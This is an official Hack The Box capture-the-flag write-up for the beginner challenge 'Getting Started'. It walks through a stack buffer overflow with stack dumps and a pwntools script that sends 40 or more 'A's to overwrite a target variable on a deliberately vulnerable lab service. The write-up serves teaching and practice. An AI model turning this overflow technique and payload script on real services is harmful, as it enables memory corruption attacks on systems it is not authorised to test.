



HACKTHEBOX



Getting Started

7th October 2022 / Document No.
D22.102.255

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: **Very Easy**

Classification: Official

Synopsis

Getting Started is a very easy difficulty challenge that features overwriting a variable's value via Buffer Overflow

Skills Required

- Simple Fuzzing

Skills Learned

- Basic pwntools usage
- Buffer Overflow Exploitation

Enumeration

The interface of the program looks like this:

Stack frame layout



[Addr]	[Value]	
0x00007ffc16b32cf0	0x0000000000000000	<- Start of buffer
0x00007ffc16b32cf8	0x0000000000000000	
0x00007ffc16b32d00	0x0000000000000000	
0x00007ffc16b32d08	0x0000000000000000	
0x00007ffc16b32d10	0x6969696969696969	<- Dummy value for alignment
0x00007ffc16b32d18	0x00000000deadbeef	<- Target to change
0x00007ffc16b32d20	0x0000563de8c6b800	<- Saved rbp
0x00007ffc16b32d28	0x00007fa634c21c87	<- Saved return address
0x00007ffc16b32d30	0x0000002000000000	
0x00007ffc16b32d38	0x00007ffc16b32e08	

After we insert 4 "A"s, (the hex representation of A is 0x41), the stack layout like this:

[Addr]	[Value]	
0x00007ffc16b32cf0	0x0000000041414141	<- Start of buffer
0x00007ffc16b32cf8	0x0000000000000000	
0x00007ffc16b32d00	0x0000000000000000	
0x00007ffc16b32d08	0x0000000000000000	
0x00007ffc16b32d10	0x6969696969696969	<- Dummy value for alignment
0x00007ffc16b32d18	0x00000000deadbeef	<- Target to change
0x00007ffc16b32d20	0x0000563de8c6b800	<- Saved rbp
0x00007ffc16b32d28	0x00007fa634c21c87	<- Saved return address
0x00007ffc16b32d30	0x0000002000000000	
0x00007ffc16b32d38	0x00007ffc16b32e08	

After we insert 4 "B"s, (the hex representation of B is 0x42), the stack layout looks like this:

[Addr]	[Value]	
0x00007ffc16b32cf0	0x4242424241414141	<- Start of buffer
0x00007ffc16b32cf8	0x0000000000000000	
0x00007ffc16b32d00	0x0000000000000000	
0x00007ffc16b32d08	0x0000000000000000	
0x00007ffc16b32d10	0x6969696969696969	<- Dummy value for alignment
0x00007ffc16b32d18	0x00000000deadbeef	<- Target to change
0x00007ffc16b32d20	0x0000563de8c6b800	<- Saved rbp
0x00007ffc16b32d28	0x00007fa634c21c87	<- Saved return address
0x00007ffc16b32d30	0x0000002000000000	
0x00007ffc16b32d38	0x00007ffc16b32e08	

```

.....
•
• Fill the 32-byte buffer, overwrite the alginment address and the "target's" 0xdeadbeef value.
•
•
.....

```

>>

The interface of the program is self-explanatory. We see the stack frame layout, the addresses and their values. Then, the objective of the challenge, which is to overwrite the address of `0xdeadbeef` to something else. It is obvious from the stack frame layout and the diagram and the objective that we need to fill the 32-byte buffer with bytes, then another 8 bytes to overwrite the dummy address and start overwriting the target.

There is also a `wrapper.py` script provided so the users start learning to use `pwntools`.

```
#!/usr/bin/python3.8

'''
You need to install pwntools to run the script.
To run the script: python3 ./wrapper.py
'''

# Library
from pwn import *

# Open connection
IP    = '0.0.0.0' # Change this
PORT = 1337      # Change this

r     = remote(IP, PORT)

# Craft payload
payload = b'A' * 10 # Change the number of "A"s

# Send payload
r.sendline(payload)

# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
```

Changing the number of "A" to something larger than 39 will give us the flag.

```
python wrapper.py

[+] Opening connection to 0.0.0.0 on port 1337: Done
[+] Flag --> HTB{f4k3_fl4g_4_t35t1ng}
[*] Closed connection to 0.0.0.0 port 1337
```